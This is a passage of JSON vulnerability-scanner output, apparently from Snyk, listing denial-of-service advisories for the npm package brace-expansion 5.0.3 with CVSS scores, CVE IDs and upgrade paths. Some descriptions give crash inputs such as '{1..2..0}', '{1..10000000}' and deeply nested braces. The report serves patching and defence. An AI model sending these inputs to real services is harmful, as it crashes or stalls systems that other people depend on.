"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through 